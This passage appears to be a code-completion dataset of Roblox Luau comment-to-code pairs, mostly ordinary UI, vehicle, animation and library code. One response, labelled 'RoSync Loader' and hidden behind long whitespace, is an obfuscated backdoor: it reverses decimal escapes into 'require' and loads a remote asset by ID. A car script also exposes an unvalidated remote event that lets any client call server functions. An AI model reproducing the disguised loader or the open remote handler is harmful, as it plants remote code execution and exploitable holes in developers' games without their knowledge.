			-- // Memo may contain any component type so we recursively resolve it.
			return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn)
		elseif typeProp == REACT_BLOCK_TYPE then
			return describeFunctionComponentFrame(type._render, source, ownerFn)
		elseif typeProp == REACT_LAZY_TYPE then
			local lazyComponent = type
			local payload = lazyComponent._payload
			local init = lazyComponent._init

			local ok, result = pcall(function()
				describeUnknownElementTypeFrameInDEV(
					-- // Lazy may contain any component type so we recursively resolve it.
					init(payload),
					source,
					ownerFn
				)
			end)

			if ok then
				return result
			end
		end
	end

	return ""
end

return {
	-- deviation: ReactShallowRenderer depends on this, but the upstream `react`
	-- repo doesn't expose it; instead, the shallow-renderer's copies of shared
	-- modules do so. Since we opted to reuse the shared modules in this repo
	-- instead of duplicating, we need to have them include this field
	describeComponentFrame = describeComponentFrame,

	describeBuiltInComponentFrame = describeBuiltInComponentFrame,
	describeNativeComponentFrame = describeNativeComponentFrame,
	describeClassComponentFrame = describeClassComponentFrame,
	describeFunctionComponentFrame = describeFunctionComponentFrame,
	describeUnknownElementTypeFrameInDEV = describeUnknownElementTypeFrameInDEV,
}


Prompt: -- connect up

Response:
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(function(state) onState(state, sJumping) end)
Humanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)
Humanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)
Humanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)


Prompt: --// Firemode Shot Customization

Response:
	BurstNum = 3; -- How many bullets per burst
	ShotNum = 12; -- How many bullets per shot


Prompt: -- This will inject all types into this context.

Response:
local TypeDefs = require(script.Parent.TypeDefinitions)

type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast

local typeof = require(script.Parent.TypeMarshaller)


Prompt: -- bool

Response:
function Lerps.boolean(v0, v1)
	return function(t)
		if t < 0.5 then
			return v0
		else
			return v1
		end
	end
end


Prompt:
--[[
	local slider, changed_event = Slider.new(Function changed_function nil, GuiObject Parent nil, Number min 0, Number max 1, Boolean round false)

	slider:Disconnect() -- disconnect all input events

	slider:Reconnect() -- reconnect all input events

	slider:Destroy() -- destroy the slider UI and Object.
--]]

Response:
local UserInput = game:GetService("UserInputService")

local Slider = {}
	Slider.__index = Slider
	Slider.Cloner = script.Slider

	local CONTROLLER_DEADZONE = .15

	function Slider.new(changed_function, parent, map_min, map_max, round)
		local self = setmetatable({}, Slider)
		self.Value = 0;
		self.Connections = {}
		self.destroy = {}

		self.Bar = Slider.Cloner:Clone()
		self.Bar.Parent = parent
		self.Slider = self.Bar.Slider

		self.Min = map_min or 0
		self.Max = map_max or 1
		self.Round = round == nil and false or round

		self.Label = self.Bar.Label

		self.Changed = Instance.new("BindableEvent")
		table.insert(self.destroy, self.Changed)
		table.insert(self.destroy, self.Bar)
		if changed_function then
			table.insert(self.Connections, self.Changed.Event:Connect(function(new_val, old_val)
				changed_function(new_val, old_val)
			end))
		end
		self:Reconnect()

		return self, self.Changed.Event
	end

	function Slider:Set(value, do_tween)
		value = math.clamp(value, self.Min, self.Max)
		self.Value = value

		local percent = (value - self.Min) / (self.Max - self.Min)

		self:Update(percent)

		if do_tween then
			self.Slider:TweenPosition(UDim2.new(percent,0,.5,0), "Out", "Linear", .5, true)
		else
			self.Slider.Position = UDim2.new(percent,0,.5,0)
		end
	end

	function Slider:Update(percent)
		local old_val = self.Value
		local new_val = self.Min + ((self.Max - self.Min) * percent)
		if self.Round then
			new_val = math.floor(new_val + .5)
		end
		self.Value = new_val
		if self.Label then
			self.Label.Text = tostring(new_val) .. "%"
		end
		if self.Value ~= old_val then
			self.Changed:Fire(new_val, old_val)
		end
	end

	function Slider:Reconnect()
		local bar = self.Bar
		local slider = self.Slider
		local bar_size = bar.AbsoluteSize
		bar:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
			bar_size = bar.AbsoluteSize
		end)
		local b_i_b = bar.InputBegan:Connect(function(io)
			if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
				self.Listening = true
			end
		end)
		local s_i_b = slider.InputBegan:Connect(function(io)
			if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
				self.Listening = true
			end
		end)
		local i_e = UserInput.InputEnded:Connect(function(io)
			if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
				self.Listening = nil
			end
		end)
		local selection_g = slider.SelectionGained:Connect(function()
			self.Listening = true
		end)
		local selection_l = slider.SelectionLost:Connect(function()
			self.Listening = nil
		end)
		local mouse_movement = UserInput.InputChanged:Connect(function(io)
			if self.Listening == true then
				local percent
				if io.KeyCode == Enum.KeyCode.Thumbstick1 then
					local movement = io.Position.X
					if math.abs(movement) > CONTROLLER_DEADZONE then
						percent = slider.Position.X.Scale + (movement > 0 and .01 or -.01)
					end
				elseif io.UserInputType == Enum.UserInputType.MouseMovement or io.UserInputType == Enum.UserInputType.Touch then
					local bar_start, bar_end = bar.AbsolutePosition, bar.AbsolutePosition + bar_size
					local mouse_pos = io.Position
					local distance = bar_end.X - bar_start.X
					local difference_mouse = mouse_pos.X - bar_start.X
					percent = difference_mouse / (bar_size.X)
				end
				if percent then
					percent = math.clamp(percent, 0, 1)
					slider.Position = UDim2.new(percent,0,.5,0)
					self:Update(percent)
				end
			end
		end)
		table.insert(self.Connections, s_i_b)
		table.insert(self.Connections, b_i_b)
		table.insert(self.Connections, selection_g)
		table.insert(self.Connections, mouse_movement)
		table.insert(self.Connections, i_e)
		table.insert(self.Connections, selection_l)
	end

	function Slider:Disconnect()
		for i=1,#self.Connections do
			local c = self.Connections[i]
			c:Disconnect()
		end
	end

	function Slider:Destroy()
		for i=1,#self.destroy do
			local d = self.destroy[i]
			d:Destroy()
		end
		self.destroy = {}
		self:Disconnect()
		self = nil
	end

return Slider


Response:
function GunUp()
Holstered = false
Tool.Enabled = true
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(0.9, 0.6, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(25), math.rad(0))
torso.weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
end
end

function GunDown()
Holstered = true
Tool.Enabled = false -- You don't want to be shooting if your not aiming
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(0.9, 0.4, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(310), math.rad(25), math.rad(-20))
torso.weld2.C1 = CFrame.new(-1, 0.4, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-20), 0)
end
end


Prompt: --[[Controls]]

Response:
	local _CTRL = _Tune.Controls
	local Controls = Instance.new("Folder",script.Parent)
	Controls.Name = "Controls"
	for i,v in pairs(_CTRL) do
		local a=Instance.new("StringValue",Controls)
		a.Name=i
		a.Value=v.Name
		a.Changed:connect(function()
			if i=="MouseThrottle" or i=="MouseBrake" then
				if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
					_CTRL[i]=Enum.UserInputType[a.Value]
				else
					_CTRL[i]=Enum.KeyCode[a.Value]
				end
			else
				_CTRL[i]=Enum.KeyCode[a.Value]
			end
		end)
	end

	--Deadzone Adjust
	local _PPH = _Tune.Peripherals
		for i,v in pairs(_PPH) do
		local a = Instance.new("IntValue",Controls)
		a.Name = i
		a.Value = v
		a.Changed:connect(function()
			a.Value=math.min(100,math.max(0,a.Value))
			_PPH[i] = a.Value
		end)
	end

	--Input Handler
	function DealWithInput(input,IsRobloxFunction)
		if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
			--Shift Down [Manual Transmission]
			if _IsOn and  (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
				if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
				_CGear = math.max(_CGear-1,-1)

			--Shift Up [Manual Transmission]
			elseif _IsOn and  (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
				if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
				_CGear = math.min(_CGear+1,#_Tune.Ratios-2)

			--Toggle Clutch
			elseif _IsOn and  (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
				if input.UserInputState == Enum.UserInputState.Begin then
					_ClutchOn = false
					_ClPressing = true
				elseif input.UserInputState == Enum.UserInputState.End then
					_ClutchOn = true
					_ClPressing = false
				end

			--Toggle PBrake
			elseif _IsOn and  input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_PBrake = not _PBrake
				elseif input.UserInputState == Enum.UserInputState.End then
					if car.DriveSeat.Velocity.Magnitude>5 then
						_PBrake = false
					end
				end

			--Toggle Transmission Mode
			elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
				local n=1
				for i,v in pairs(_Tune.TransModes) do
					if v==_TMode then n=i break end
				end
				n=n+1
				if n>#_Tune.TransModes then n=1 end
				_TMode = _Tune.TransModes[n]

			--Throttle
			elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GThrot = 1
				else
					_GThrot = _Tune.IdleThrottle/100
				end

			--Brake
			elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GBrake = 1
				else
					_GBrake = 0
				end

			--Steer Left
			elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GSteerT = -1
					_SteerL = true
				else
					if _SteerR then
						_GSteerT = 1
					else
						_GSteerT = 0
					end
					_SteerL = false
				end

			--Steer Right
			elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GSteerT = 1
					_SteerR = true
				else
					if _SteerL then
						_GSteerT = -1
					else
						_GSteerT = 0
					end
					_SteerR = false
				end

			--Toggle Mouse Controls
			elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
				if input.UserInputState == Enum.UserInputState.End then
					_MSteer = not _MSteer
					_GThrot = _Tune.IdleThrottle/100
					_GBrake = 0
					_GSteerT = 0
					_ClutchOn = true
				end

			--Toggle TCS
			elseif  _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
				if input.UserInputState == Enum.UserInputState.End then
					_TCS = not _TCS
				end

			--Toggle ABS
			elseif  _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
				if input.UserInputState == Enum.UserInputState.End then
					_ABS = not _ABS
				end
			end

			--Variable Controls
			if input.UserInputType.Name:find("Gamepad") then
				--Gamepad Steering
				if input.KeyCode == _CTRL["ContlrSteer"] then
					if input.Position.X>= 0 then
						local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
						if math.abs(input.Position.X)>cDZone then
							_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
						else
							_GSteerT = 0
						end
					else
						local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
						if math.abs(input.Position.X)>cDZone then
							_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
						else
							_GSteerT = 0
						end
					end

				--Gamepad Throttle
				elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
					_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)

				--Gamepad Brake
				elseif input.KeyCode == _CTRL["ContlrBrake"] then
					_GBrake = input.Position.Z
				end
			end
		else
			_GThrot = _Tune.IdleThrottle/100
			_GSteerT = 0
			_GBrake = 0
			if _CGear~=0 then _ClutchOn = true end
		end
	end
	UserInputService.InputBegan:connect(DealWithInput)
	UserInputService.InputChanged:connect(DealWithInput)
	UserInputService.InputEnded:connect(DealWithInput)


Prompt:
--[[**
	ensures value is a number where min < value

	@param min The minimum to use

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.numberMinExclusive(min)
	return function(value)
		local success, errMsg = t.number(value)
		if not success then
			return false, errMsg or ""
		end

		if min < value then
			return true
		else
			return false, string.format("number > %s expected, got %s", min, value)
		end
	end
end


Prompt:
--F.updateSound = function(Sound, Pitch, Volume)
--	if Sound then
--		if Pitch then
--			Sound.Pitch = Pitch
--		end
--		if Volume then
--			Sound.Volume = Volume
--		end
--	end
--end

Response:
F.lock = function(x)
	if x then
		for i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do
			if v:IsA("Motor") then
				if v.Parent.Parent.Name == "Mirror" then
				else v.DesiredAngle = 0
				end
			end
		end
		carSeat.Lock:Play()
	else
		carSeat.Unlock:Play()
		wait(.4)
		carSeat.Unlock:Play()
	end
	for i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do
		if v:IsA("ClickDetector") then
			v.MaxActivationDistance = x and 0 or 12
		end
	end
end

local on = 0

F.rs = function(y)
	local tune = require(carSeat.Parent:FindFirstChild("A-Chassis Tune"))
	carSeat.IsOn.Value = y
	if y then
		carSeat.Startup:Play()
		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2
	else car.DriveSeat.Rev.Pitch = 0
		carSeat.Startup:Stop()
	end
end

F.user = function()
	carSeat.Parent:Destroy()
end

F.tk = function(b)
	carSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1.5 or 0
end

script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)


Prompt:
--[[
	Gets the child corresponding to a given key, respecting Roact's rules for
	children. Specifically:
	* If `elements` is nil or a boolean, this will return `nil`, regardless of
		the key given.
	* If `elements` is a single element, this will return `nil`, unless the key
		is ElementUtils.UseParentKey.
	* If `elements` is a table of elements, this will return `elements[key]`.
]]

Response:
function ElementUtils.getElementByKey(elements, hostKey)
	if elements == nil or typeof(elements) == "boolean" then
		return nil
	end

	if Type.of(elements) == Type.Element then
		if hostKey == ElementUtils.UseParentKey then
			return elements
		end

		return nil
	end

	if Type.of(elements) == Type.Fragment then
		return elements.elements[hostKey]
	end

	if typeof(elements) == "table" then
		return elements[hostKey]
	end

	error("Invalid elements")
end

return ElementUtils


Prompt:
--[[	local lockL = Instance.new("Motor")
	lockL.Parent = carSeat.Parent.Parent.LW.ML
	lockL.Part0 = carSeat.Parent.Parent.LW.ML
	lockL.Part1 = carSeat.Parent.Parent.Suspension.ML
	local lockR = Instance.new("Motor")
	lockR.Parent = carSeat.Parent.Parent.RW.MR
	lockR.Part0 = carSeat.Parent.Parent.RW.MR
lockR.Part1 = carSeat.Parent.Parent.Suspension.MR]]--
--end

Response:
	--else

		--if m == true then
	--	m = false occ = false
		--carSeat.Parent.Parent.LW.ML.Motor:remove()
	--	end


Prompt:
-------------------------- Custom Command Stuff --------------------------
--[[
	Player = Returns a table of all the players it could find with your given command
	String = Returns a string that you've given it
	Number = Returns a given number
--]]

Response: local Custom_Commands = {


Prompt: -- connect events

Response:
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)


Prompt: --scan(AnotherModel/Part) --If there is another thing you want to weld, add it here


Prompt: -- Libraries

Response:
local Roact = require(Vendor:WaitForChild('Roact'))
local new = Roact.createElement


Prompt: ---[[ Message Settings ]]

Response:
module.MaximumMessageLength = 400
module.DisallowedWhiteSpace = {"\n", "\r", "\t", "\v", "\f"}
module.ClickOnPlayerNameToWhisper = true
module.ClickOnChannelNameToSetMainChannel = true
module.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}


Prompt: --< tween info:TweenPosition(endPosition, EasingDirection, EasingStyle, Time, Override)

Response:
local dir = "Out"
local style = "Quad"
local dur = 0.5


Prompt: --		print("Wha " .. pose)

Response:
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	if (setAngles) then
		local desiredAngle = amplitude * math.sin(time * frequency)

		RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
		LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
		RightHip:SetDesiredAngle(-desiredAngle)
		LeftHip:SetDesiredAngle(-desiredAngle)
	end

	-- Tool Animation handling
	local tool = getTool()
	if tool then

		local animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()
	else
		stopToolAnimations()
		toolAnim = "None"
		toolAnimTime = 0
	end
end


Prompt: -- Libraries

Response:
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local MoveUtil = require(script.Parent:WaitForChild 'Util')


Prompt: --!strict

Response:
type Array<T> = { [number]: T }
type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean
type callbackFnWithThisArg<T, U> = (thisArg: U, element: T, index: number, array: Array<T>) -> boolean
type Object = { [string]: any }


Prompt: -- local EXEC_ERROR_MESSAGE = 'Test suite failed to run'


Prompt: --Constructor and destructor

Response:
function homing_test:New(object)
	--Initialize meta reference
	local self = setmetatable({}, {__index = homing_test})

	--Use object information
	self.object = object
	self.root = object.PrimaryPart

	--Attach functions
	self.touch_player = TouchPlayer

	--Set other specifications
	self.homing_target = true

	return self
end

function homing_test:Destroy()

end

return homing_test


Prompt: --[[ Last synced 3/7/2021 02:41                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Compiled with roblox-ts v2.0.4

Response:
local exports = {}
exports.SELECTED_COLOR = Color3.fromRGB(191, 36, 36)
local function changeColor(color)
	print(exports.SELECTED_COLOR:ToHex())
	exports.SELECTED_COLOR = color
	print(exports.SELECTED_COLOR:ToHex())
	return exports.SELECTED_COLOR
end
exports.changeColor = changeColor
return exports


Prompt:
--[[
	Creates a function that invokes a callback with correct error handling and
	resolution mechanisms.
]]

Response:
local function createAdvancer(callback, resolve, reject)
	return function(...)
		local resultLength, result = wpcallPacked(callback, ...)
		local ok = result[1]

		if ok then
			resolve(unpack(result, 2, resultLength))
		else
			reject(unpack(result, 2, resultLength))
		end
	end
end

local function isEmpty(t)
	return next(t) == nil
end

local function createSymbol(name)
	assert(type(name) == "string", "createSymbol requires `name` to be a string.")

	local symbol = newproxy(true)

	getmetatable(symbol).__tostring = function()
		return ("Symbol(%s)"):format(name)
	end

	return symbol
end

local PromiseMarker = createSymbol("PromiseMarker")

local Promise = {}
Promise.prototype = {}
Promise.__index = Promise.prototype

Promise.Status = {
	Started = createSymbol("Started"),
	Resolved = createSymbol("Resolved"),
	Rejected = createSymbol("Rejected"),
}


Prompt:
--[[
	Index into `Event` to get a prop key for attaching to an event on a Roblox
	Instance.

	Example:

		Roact.createElement("TextButton", {
			Text = "Hello, world!",

			[Roact.Event.MouseButton1Click] = function(rbx)
				print("Clicked", rbx)
			end
		})
]]

Response:
local Type = require(script.Parent.Parent["Type.roblox"])

local Event = {}

local eventMetatable = {
	__tostring = function(self)
		return string.format("RoactHostEvent(%s)", self.name)
	end,
}

setmetatable(Event, {
	__index = function(self, eventName)
		local event = {
			[Type] = Type.HostEvent,
			name = eventName,
		}

		setmetatable(event, eventMetatable)

		Event[eventName] = event

		return event
	end,
})

return Event


Prompt:
-- Output callback function receives the number of adjacent items
-- and starting indexes of each common subsequence.

Response:
type FoundSubsequence = (
	number, -- caller can assume: 0 < nCommon
	number, -- caller can assume: 0 <= aCommon && aCommon < aLength
	number -- caller can assume: 0 <= bCommon && bCommon < bLength
) -> ()


Prompt: -- Libraries

Response:
local Libraries = Tool:WaitForChild 'Libraries'
local Make = require(Libraries:WaitForChild 'Make')
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))


Prompt: -- declarations

Response:
local sDied = newSound("rbxasset://sounds/uuhhh.wav")

function playOuch(char)
	local sound = char.Head:FindFirstChild("CaltropOw")
	if (sound == nil) then
		sound = newSound("rbxasset://sounds/uuhhh.wav")
		sound.Parent = char.Head
	end
	sound:Play()
end

function onTouched(hit)

	humanoid = hit.Parent:findFirstChild("Humanoid")
	if humanoid~=nil then

		tagHumanoid(humanoid)

		humanoid:TakeDamage(damage)

		playOuch(humanoid.Parent)

	end

end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal

	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		debris:AddItem(new_tag, 1)
	end
end

connection = script.Parent.Touched:connect(onTouched)

debris:AddItem(script.Parent, 240)


Prompt: -- Settings

Response:
local Configuration = Home:WaitForChild("Configuration")
local SwingPower = Configuration:WaitForChild("SwingPower")

local function SetPhysicalProperties(Part,Density)
	if Part then
		Part.CustomPhysicalProperties = PhysicalProperties.new(Density,Part.Friction,Part.Elasticity)
	end
end

GetAllDescendants = function(instance, func)
	func(instance)
	for _, child in next, instance:GetChildren() do
		GetAllDescendants(child, func)
	end
end

local function SetCharacterToWeight(ToDensity,Char)
	GetAllDescendants(Char,function(d)
		if d and d.Parent and d:IsA("BasePart") then
			SetPhysicalProperties(d,ToDensity)
		end
	end)
end

TireSeat.Changed:connect(function()
	if TireSeat.Occupant then
		local CurrentThrottle = TireSeat.Throttle

		-- Adjust swing when interacted
		if CurrentThrottle == 1 then
			BodyForce.Force = TireMesh.CFrame.lookVector * SwingPower.Value * 100
		elseif CurrentThrottle == -1 then
			BodyForce.Force = TireMesh.CFrame.lookVector * SwingPower.Value * -100
		else
			BodyForce.Force = Vector3New()
		end

		delay(0.2,function()
			BodyForce.Force = Vector3New()
		end)

		-- Make the character weightless for the swing to behave correctly
		if CurrentOccupant == nil then
			CurrentOccupant = TireSeat.Occupant
			SetCharacterToWeight(0,CurrentOccupant.Parent)
		end

	elseif CurrentOccupant then
		-- Set the character's weight back
		SetCharacterToWeight(0.7,CurrentOccupant.Parent)
		CurrentOccupant = nil
	end
end)


Prompt: --Spiders--

Response:
local function AttachParticleControl(source_part)

	local prtc = nil
	local prtc2 = nil

	local function Start()
		prtc = script.Spider:clone()
		prtc.Parent = source_part
		prtc2 = script.Web:clone()
		prtc2.Parent = source_part
	end

	local function Update()

	end

	local function Stop()
		if prtc ~= nil then
			prtc:destroy()
			prtc = nil
		end
		if prtc2 ~= nil then
			prtc2:destroy()
			prtc2 = nil
		end
	end

	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachParticleControl


Prompt:
--[[**
	ensures Lua primitive callback type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
t.callback = primitive("function")
t["function"] = t.callback


Prompt:
--[=[
	@prop catalogViewOpened RBXScriptSignal
	@within MerchBooth
	@client

	Fired when the catalog view is opened.
]=]

Response: uiStatesEvents.catalogViewOpened = Instance.new("BindableEvent")


Prompt: -- دالة الاصطدام

Response:
local function onTouched(part)
	local humanoid = part.Parent:FindFirstChild("Humanoid")
	if humanoid then
		local player = game.Players:GetPlayerFromCharacter(part.Parent)
		if player then
			-- إعادة موقع اللاعب إلى المكان الأصلي
			player.Character:SetPrimaryPartCFrame(CFrame.new(0, 5, 0))

			-- إنشاء قوة الرمي
			local throwDirection = (part.Position - wall.Position).Unit
			local throwVelocity = throwDirection * throwForce

			-- رمي اللاعب
			humanoid.PlatformStand = true -- لمنع اللاعب من الوقوف على الجدار أثناء الرمي
			humanoid.Sit = true -- لتجنب أخطاء الحركة أثناء الرمي
			humanoid.RootPart.Velocity = throwVelocity

			-- إعادة تمكين اللاعب بعد فترة زمنية
			wait(2)
			humanoid.PlatformStand = false
			humanoid.Sit = false
		end
	end
end


Prompt:
--///////////////////////// Constructors
--//////////////////////////////////////

Response:
function module.new(CommandProcessor, ChatWindow)
	local obj = setmetatable({}, methods)

	obj.GuiObject = nil
	obj.ChatBarParentFrame = nil
	obj.TextBox = nil
	obj.TextLabel = nil
	obj.GuiObjects = {}
	obj.eGuiObjectsChanged = Instance.new("BindableEvent")
	obj.GuiObjectsChanged = obj.eGuiObjectsChanged.Event

	obj.Connections = {}
	obj.InCustomState = false
	obj.CustomState = nil

	obj.TargetChannel = nil
	obj.CommandProcessor = CommandProcessor
	obj.ChatWindow = ChatWindow

	obj.TweenPixelsPerSecond = 500
	obj.TargetYSize = 0

	obj.AnimParams = {}
	obj.LastFocusedState = nil

	obj.ChannelNameColors = {}

	obj:InitializeAnimParams()

	ChatSettings.SettingsChanged:connect(function(setting, value)
		if (setting == "ChatBarTextSize") then
			obj:SetTextSize(value)
		end
	end)

	return obj
end

return module


Prompt: -- find the error signal by navigating into the folder in ReplicatedStorage

Response:
local ErrorFolder = ReplicatedStorage:FindFirstChild("ErrorReporting", false)
if not ErrorFolder then
	printWarningMessage("ReplicatedStorage.ErrorReporting")
	return
end

local ClientErrorEvent = ErrorFolder:FindFirstChild("ClientErrorEvent")
if not ClientErrorEvent then
	printWarningMessage("ReplicatedStorage.ErrorReporting.ClientErrorEvent")
	return
end


Prompt: -- Local player

Response:
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")

local waypointFolder = game.Workspace:WaitForChild("Waypoints")


Prompt: --Stickmasterluke

Response:
local sp=script.Parent

function update()
	sp.Scope.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)
	sp.Scope.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)
	--sp.ScopeId.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)
	--sp.ScopeId.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)
	sp.F1.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)
	sp.F2.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)
	sp.F2.Position=UDim2.new(1,-10-((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),0,-10)
end
wait()
sp.Changed:connect(update)
update()


Prompt: -- Function to bind to equip event

Response:
local function equip()
	local torso = player.Character.Torso

	-- Setup joint variables
	neck = torso.Neck
	oldNeckC0 = neck.C0
	shoulder = torso:FindFirstChild("Right Shoulder")
	oldShoulderC0 = shoulder.C0

	-- Remember old mouse icon and update current
	oldIcon = mouse.Icon
	mouse.Icon = "http://www.roblox.com/asset/?id=170477320"

	-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
	if userInputService.TouchEnabled then
		connection = userInputService.TouchMoved:connect(mobileFrame)
	else
		connection = render:connect(pcFrame)
	end

	-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
	-- during touch input
	userInputService.TouchStarted:connect(function(touch, processed)
		mobileShouldTrack = not processed
	end)
	userInputService.TouchEnded:connect(function(touch, processed)
		mobileShouldTrack = false
	end)

	-- Fire server's equip event
	game.ReplicatedStorage.ROBLOX_PistolEquipEvent:FireServer()

	-- Bind event for when mouse is clicked to fire server's fire event
	mouse.Button1Down:connect(function()
